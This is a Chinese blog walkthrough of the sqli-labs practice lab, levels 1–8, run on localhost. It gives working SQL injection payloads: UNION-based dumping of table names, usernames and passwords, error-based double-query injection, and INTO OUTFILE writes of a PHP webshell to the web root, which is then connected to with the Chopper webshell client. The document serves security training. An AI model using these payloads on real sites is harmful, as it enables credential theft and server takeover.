Sqli-labs闯关(Less1—8) 详细!

补课补课
Less-1
根据题目提示为单引号注入,先测试一下
在这里插入图片描述
果然报错了,说明我们添加的单引号被数据库成功解析,那我们就可以通过闭合id这个参数 ,然后构造自己的sql语句进行攻击。一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
那么知道这个我们就开始查字段吧
确定字段数一般可以使用order by 语句:
http://localhost/sqlilabs/Less-1/?id=1'order by 1 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 2 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 3 %23
执行成功
http://localhost/sqlilabs/Less-1/?id=1' order by 4 %23
报错:
在这里插入图片描述
//注意这里使用 # 是不行的,游览器没有帮我们编码,所以我们自己编
%23#的url编码,--+可以直接使用//

即只有三个字段,那么现在开始联合查询:
因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上
同时又需要确定哪几个字段会被显示在页面上:
在这里插入图片描述
可以看出2,3字段被显示出来,
接着爆数据库在这里插入图片描述
看到数据库名为:security,接着再查其他信息

   http://localhost/sqli-labs/Less-1/
?id='union select 1,2,concat_ws((char(32,58,32)),user(),database(),version())--+

在这里插入图片描述
这里我使用了concat_ws() 函数:
concat_ws(separator,str1,str2,...)
第一个参数是其它参数的分隔符。分隔符的位置放在要连 接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
例:select concat_ws(',','11','22','33');  11,22,33

group_concat(): 使多行数据在一列显示
char(32,58,32):对应ascill码为空格:空格
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本
我们还要知道在Mysql中有information_schema这个库,该库存放了所有数据库的信息。

information_schema.columns包含所有表的字段
information_schema.tables包含所有库的表名
information_schema.schemata包含所有数据库的名
table_schema 数据库名
table_name 表名
column_name 列名
schema_name 数据库名

OK 得到这些信息之后我们再来看看数据库有哪些表

http://localhost/sqli-labs/Less-1/
?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述
可以看到有四张表,我们想要的信息基本都在user表下
我们对这张表爆列名:

http://localhost/sqli-labs/Less-1/
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述
接着进行爆用户信息


?id=0' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述
或者单独爆一个人

?id=-1'union select 1,username,password from users where id=2 --+

Sqli-labs闯关(Less1—8) 详细!_第1张图片

OKヾ(≧▽≦*)o 第一关到此结束。

Less-2

看一下源代码,发现没有任何防护,连单引号都没有,可以直接联合查询

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

Sqli-labs闯关(Less1—8) 详细!_第2张图片
可以和第一题一样随便查了。
Less-3

1.输入?id=1’ --+ 页面报错
Sqli-labs闯关(Less1—8) 详细!_第3张图片
但输入?id=1’) --+ 页面是正常的
Sqli-labs闯关(Less1—8) 详细!_第4张图片
所以可以判断出此题为字符串注入,以(’’)的方式闭合的。
OK 知道这些后 其余的步骤就同上了。

less4
这题的闭合方式为(" "),多试几次就行了
Sqli-labs闯关(Less1—8) 详细!_第5张图片
其余同上。
Less-5 双注入get单引号字符型注入
首先打开网页输入?id=1
Sqli-labs闯关(Less1—8) 详细!_第6张图片
然而并没有显示用户名和密码,这是咋回事?查看一下源代码

if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"; echo "
"; } else { echo ''; print_r(mysql_error()); echo "
"; echo ''; }

可以看到根本就没有输出 $row 这个查询结果。
根据题目此题为双注入,查看了一些大佬的文章之后终于明白了,
双查询注入顾名思义形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组

详解请查看blog 双注入详解不懂的同学一定要看哦!

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:

Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+  //这里我们给查询的数据起了另一个名:a

group by a字段,就是a字段有多少不同的值就有多少组,例如A字段有“a,b,b,c,c,c,d”,abcd各分一组,总共4组
Sqli-labs闯关(Less1—8) 详细!_第7张图片
OK得到数据库了,然后就可以以同样地方式得到其他信息。

获取表名:

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

Sqli-labs闯关(Less1—8) 详细!_第8张图片
查询用户信息:

?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

Sqli-labs闯关(Less1—8) 详细!_第9张图片
第五关结束。
Less-6 双注入GET双引号字符型注入
额 这题就是把上题的单引号变成了双引号。看看上面那题就好。

Less-7 导出文件GET字符型注
打开页面输入?id=1Sqli-labs闯关(Less1—8) 详细!_第10张图片
试了很多发现报错信息都一样,查看下源代码:

if($row)
	{
  	echo '';	
  	echo 'You are in.... Use outfile......';
  	echo "
"; echo "
"; } else { echo ''; echo 'You have an error in your SQL syntax';

发现 他把报错做了处理统一返回“You have an error in your SQL syntax”,同时他也给出了提示:
use outfile 也就是说需要使用outfile函数:
outfile函数就是将数据库的查询内容导出到一个外部文件
这时候就可以用菜刀了。

构造语句 写入一句话木马 就可以和菜刀连接了(ps:这里必须要写入根目录,不然菜刀没权限)
?id=-1')) union select 1,"",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+
Sqli-labs闯关(Less1—8) 详细!_第11张图片
可以看到文件已将写入目录下了,如果有无法写入的小伙伴可以私信我哦,或者在下面评论✪ ω ✪
打开菜刀,右键添加http://127.0.0.1/123.php地址填入你上传文件的地址,后面的小方框中填入你构造的密码,也就是chopper
Sqli-labs闯关(Less1—8) 详细!_第12张图片
连接成功,就可以直接访问数据库了,嘿嘿嘿。
Sqli-labs闯关(Less1—8) 详细!_第13张图片

Level-8 布尔型单引号GET盲注)
Sqli-labs闯关(Less1—8) 详细!_第14张图片
题目已经提示了,为单引号盲注,先测试下
Sqli-labs闯关(Less1—8) 详细!_第15张图片
加单引号报错,注释后回显正常,确实是单引号注入,而且没有报错回显。接着用菜刀吧,步骤和上题一样,这里给出语句:
?id=1' union select 1,"",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+ OK。

你可能感兴趣的:(Sqli-labs闯关(Less1—8) 详细!)